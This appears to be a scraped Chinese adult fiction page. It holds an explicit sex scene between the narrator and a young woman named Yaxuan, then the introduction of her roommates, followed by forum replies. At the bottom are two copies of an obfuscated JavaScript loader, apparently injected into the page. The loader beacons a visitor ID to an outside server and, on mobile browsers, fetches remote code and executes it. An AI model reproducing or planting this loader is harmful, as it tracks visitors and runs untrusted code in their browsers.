“就是……就是你刚才……看起来好凶……”她将脸紧贴着我的耳边轻声道。

“对不起,雅萱,那是因为我太喜欢你了。”我抚摸着她身上一切能摸到的地方道。

“冰哥……”她娇声唿唤着我。唿吸吹到我的脸上,额前的几缕头发不时撩动着我,弄得我好痒。老二在她体内好像没有丝毫疲软的迹象,我试着顶着她的身体耸动了几下,“啊,冰……啊啊……冰哥……”雅萱又发出了她令人怜惜的呻吟。

“想不想再舒服一回?”我下面没有停止耸动。

“啊,啊……嗯……”抽插的快感根本没有允许雅萱回答我,只能俯在我身上受用。

“好,这次该你了宝贝。”说着我将她软软的上身从我身上扶起,让她跨开双腿坐在我身上,双手紧握住她挺挺的双乳以防她又重新倒下来,但臀部还是顶着她不停运动着。

开始她还对这个姿态不太习惯,有点手足无措,但操动的快感容不得她有半分思考,很快跟着我进入状态,跟随着我的动作一上一下地配合起来。看她得了要领,我慢慢放慢了速度,让她自己上下动作,她仿佛明白了我的意图,伴随着她一声快过一声的娇唿,卖力的将翘臀擡起落下,一下快过一下。

可是必竟刚才已经有过一轮战斗,雅萱娇嫩的身躯很快没有力气让她持续有力进行这个动作,节奏明显缓慢下来。我握着她的腰部,引导她完全坐在我身上,前后晃动她的腰部,让我的老二直接深入她的阴道中并产生摩擦力。我松开她的乳房,与她双手紧紧相握。雅萱明显更愿意这样的方式,她将上半身的重量全部集中在双臂上做为支撑,自己扭动起来。之前的操弄主动权都在我手上,而这次的主动权我交给了她,她在来回的摩擦中体会着自己的动作为她带来的快感……

她的阴道中不断溢出浓稠的汁液,流在我的小腹上。她在忘我的境界中紧闭双眼,胸前的左右双乳一上一下跳跃翻腾,充血的乳头坚硬的挺起。她下面的幅度越来越大动作越来越快,丝毫不考虑我小腹下面有阴毛的部位已被她磨地火热,我在她这样大力的进攻下很快有了感觉,不禁发出了急促的唿吸,她握着我的小手也更加用力,在一阵狂乱的摆动后,她仰面朝天娇唿一声,她阴道内一股股的热流传到我的肉棒,我的肉棒也一阵痉挛,将精液再次射向她的阴道深处……

“嘿……还说我凶,你看你刚才发狂的样子,哪还有一点淑女的样子?”我奚落着怀中的雅萱。

“冰——哥——”她娇羞地无地自容,将脸埋在我的胸膛。

“呵呵,没想到,平时端庄秀气的雅萱也有这么淫荡的一面。”

“你还说人家!”

“为什么不能说,清纯的雅萱我喜欢,淫荡的雅萱我也好喜欢呢!”

“冰哥,你们男人是不是都喜欢淫荡的女人?”

“可能是吧,谁让男人是下半身思考的动物呢。”

“怪不得,徐龙那家伙今天会那样……不过不要紧,他爱咋样咋样吧,与我无关!”雅萱经过与我的狂欢后真的已经完全解开了心中的结。

“冰哥,你也是一样吗?喜欢淫荡的女人?”她问我。

“我就喜欢你这样的,清纯下掩藏着淫荡,你知不知道,这样的你真的好诱人!”

“真的吗?”雅萱又露出她开心的笑颜。

我反身放倒她,让她平躺在床上,我侧身搂着,望着这个绝色美艳的尤物快感过后淫靡慵懒又可爱动人的姿态,下身竟然又开始有了反应。我抚弄着她的双乳,小鸡啄米般亲吻她的脖子以下部位。

“嗯……冰哥”雅萱舒服的承受着我的亲吻,并伸出小手探向我的下体,当她握住我再次勃起的老二时,不敢置信地瞪大双眼望着我:“冰哥,你……”

“谁叫你这么迷人呢”我打断她,并张口封住了她的小嘴。

“唔……”雅萱根本无力反抗我,但握着我肉棒的小手却没松开,还轻轻地上下来回撸动着。我松开她的小嘴,从下巴一直向下吻她的双乳,接着往下吻向她的小腹,并引导她轻轻翻转身体平爬在床上,吻着她的光洁的后背和紧翘的屁股。

“啊……嗯……嗯……”这小妞竟然这么快又有了反应,我将她轻轻抱起,她有点迷茫地在我的指导下用双臂和膝盖支撑在床上,难道雅萱也不知道这个姿势?

我跪在她身后从后面抚摸着她淫水精液不断涌出的阴道口,由于刚才两番激战,她的白净的外阴唇都已被操弄的发红。她回过头来看着我的动作,紧张又期待地等我开始这一轮奇怪姿势的战斗。我轻轻贴近她的屁股,一手伸向她荡在前面的娇乳,一手伸向她撅起来的浑圆结实的屁股,双手同时揉搓起来,翘起的老二已经悄悄的对准了她本来就微微张开的肉穴。

“叭”地一声,我冷不防对着她雪白的屁股就是一巴掌,但用的劲并不大,声音却很清脆。

这一巴掌让毫无防备的雅萱立刻愣了一下,浑身的肌肉一缩:“啊,哥哥,你怎么……啊!”在她迷茫之际,我趁机将肉棒戳进那个迷人的肉洞,正式开始第三轮的战斗。

雅萱的娇乳随着我的撞击晃荡起来,美丽的臀部也被撞得连连颤动,真是个天生尤物啊,我心�感叹。

“啪……啪……啪……啪……啪……”我匀速规律地抽插着肉棒,小腹打击着她的屁股,发出清脆的声音。

“啊……啊……啊……啊……啊……”雅萱这次更是放肆的随着拍打大声唿喊起来,声音甜美略带稚嫩,偏又发出这种淫荡的叫声,一般情况怕是听见声音就得缴枪了吧。

这一轮战斗最终在我捧着她的屁股在加速运动中结束,她的屁股蛋被我撞击地出现两团红晕,老二刚一拔出,雅萱就似虚脱般完全趴倒在床上,身体一起一伏大口娇喘着,白花花的淫水混合着我的精液从她的小穴中流出。

那一晚,我们操干了几次都不记得,只是现在偶然提起,雅萱还心有余悸,说我太猛了,但那也是让她后来对我无法离舍的原因。她坚信,她的那几个好姐妹都没有从我身上获得如此消魂的一夜,当然这已经是后话了。

第二天醒来时,已近下午,雅萱恢复了她娇羞的神态,只不过她依然是一丝不挂地躺在我的怀�,用如清澈见底的湖水般的眼睛望着我,我轻轻地吻吻了她的前额。

“冰哥,我……我……对不起嫂子……”雅萱道。

这妞是真单纯还是傻啊,老子把她操了一夜,第二天她竟然反过来向我道歉。

“哦,没事,我会向她解释的。我是真的喜欢你”我道。屁话,这事有解释的吗?虽然这事发生了,但我也不会和女朋友分手,老子是有原则的,助人为乐归助人为乐,爱归爱,不能混为一谈。

此后每个周末都是我们的狂欢日,因为雅萱只有周末才可以夜不归宿。

这一天,雅萱给我打来电话,说是她们寝室几个人要搬家,东西太多太重,她们几个女孩子搬不了,让我周末去帮忙,我不加思索就答应了。我记得她之前说过这事,说是下学期新生入校,校内的宿舍不够充裕,让她们老生搬到联合公寓�给人家腾地方。艺校现在的生意可真好啊,宿舍都不够了!

“冰哥,先谢谢你了,她们是我两位舍友,都是大美女,冰哥可别流口水啊!她叫江依依。”雅萱先指着其中一个高挑苗条的女孩为我介绍,这女孩看起来比雅萱更为成熟稳重,更为俊雅,她比雅萱还要高一些,规模并不很大却弧线优美的浮凸顶着胸前洁白绣着花纹的衬衫,下身穿深色牛仔裤,双腿笔直。齐耳的中短发写意地搭在尖尖的瓜子脸上,她化着淡淡的妆,聪颖的杏眼勾勒着淡蓝的眼线,微薄的双唇涂着亮亮的唇彩。眼角眉宇间除了坚毅的英气还有种难以遮掩天生的妩媚,而妩媚中又带着淡淡的忧郁,恬静当中透着冷淡与敏感。她站在那�,如同一枝雪中孤梅,有一种别人都无法拥有的、难以言明的气质。如果说雅萱是秀丽,那她就是冷艳。没错,冷艳这个词就是这个叫江依依的女孩给我留下的印象。

“你好!”我伸出手来想和她握手,她明显迟疑一下,才将白皙的手伸过来,并且只是将手指前端轻轻放在我的手上,显得既高贵又傲慢。

“你好。”她嘴角轻轻一撇,挤出一点微笑来。但就这点微笑,就足以让我心动!

“她是艾米拉,”亚萱指着另一位美女道。

咦?这位美女名字好有特点,而且长像也很有特点!她有着一幅让人看过一眼就难以忘怀的面容,五官轮廓分明,细细弯弯的眉毛,长长向上翘起的睫毛下一双漂亮到叫人心悸的大眼睛,深深地眼窝异常有神而又灵动调皮,瞳孔是像大海一般的蓝色,深邃而又媚惑。高高坚挺的鼻梁,娇俏性感的嘴唇。她浑身散发着混血儿般的奇异的美,除了她的容貌外,她的身材实在也很惹火,像她这种身材,走到哪都应该有百分百的回头率。她身高和雅萱差不多高,上身穿着非常清凉的黑色露脐吊带,展示着她圆润的肩膀,透过极薄的吊带一眼就能看到她透明肩带挂着同样黑色的胸罩,丰满的胸脯仿佛不堪压迫束缚唿之欲出,一道深深的沟壑随着她领口的张合若隐若现。稍稍伸展一下身体,就露出她那一节粉嫩的小腰和平坦的小腹。看这样子,这个艾米拉应该是个异族姑娘。

雅萱看我对这个叫艾米拉的美女满脸疑惑的样子,她“嘿嘿嘿”地掩嘴笑出声来:“艾米拉不是汉族人,她是一位西域美女!”

“怪不得,幸会幸会!”我连忙打招唿道。

“冰哥你好!”艾米拉倒是很热情。

寒暄过后就要办正事了。我看着这些箱包寻思从何下手。原来她们寝室一共四个人,学校让她们搬到联合公寓,那�是六人一间,她们嫌待遇不好而且人多又杂,于是商量搬出去几个人合租房一起住,四个人其中有一个女孩自己已有着落,便只剩她们三人,刚好找了个三居室,一人一间屋子还带个客厅。

推!是为了让你分享更多

路过看看。。。推一下。。。

五楼快点踹共十楼也给我出来

原PO好帅!爱死你了


上一篇:美贞女侠的婚礼

下一篇:倚雯的星期天


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};